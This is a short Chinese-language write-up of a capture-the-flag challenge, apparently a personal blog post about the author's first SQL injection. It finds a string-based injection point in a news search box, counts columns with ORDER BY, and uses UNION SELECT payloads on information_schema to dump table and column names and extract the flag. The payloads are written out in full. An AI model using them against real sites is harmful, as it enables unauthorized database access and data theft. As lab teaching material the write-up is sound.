以此篇记录笔者写的第一个SQL注入成功案例
1.判断存在的SQL注入点:
搜索框输入hello,出现与之相关的新闻内容,输入hello'之后发现网页报错,提示我们可能存在字符型SQL注入,再次输入单引号 ',发现网页再次报错,输入hello'#没有报错提示。
分析原因:是因为单引号与服务端代码中的’形成闭合,将我们输入的字符串hello包裹,服务端代码后面多出来一个‘导致语法错误,而加入#将后面的’注释掉之后不会报错,可确定为字符型SQL注入。
2.使用union联合表法注入
在使用union之前需要明确:union前面查询语句查询的元素与后面查询语句查询的元素要数量上要一样,这一点可以使用order by实现(原理:order by根据前面查询内容的属性对查询数据进行分类,order by 后面的内容可以少于前面查询的属性数,但是不能多于查询的属性数)
因此我们输入
hello' order by 1# //无报错
hello' order by 1,2# //无报错
hello' order by 1,2,3# //无报错
hello' order by 1,2,3,4# //报错
由此可以确定union后面需要跟三个元素,因此我们输入
hello' union select 1,2,3#
网页回显:
说明union后的第2、3列被显示出来,因此我们可以利用这两列获取当前数据库、当前数据库所有列表名、列表所有字段名
1)获取当前数据库名称
hello' union select 1,database(),3#
回显:
得到当前数据库名news
2)获取表名
hello' union select 1,2,table_name from information_schema.tables where table_schema=database()#
回显:
得到表名news、secret_table
3)获取字段名
hello' union select 1,2,column_name from information_schema.columns where table_name='secret_table' #
回显:
得到字段名id、fl4g
很明显我们需要得到news数据库下的secret_table表的fl4g字段
在搜索框输入
hello' union select 1,id,fl4g from news.secret_table #
得到flag:QCTF{sq1_inJec7ion_ezzz}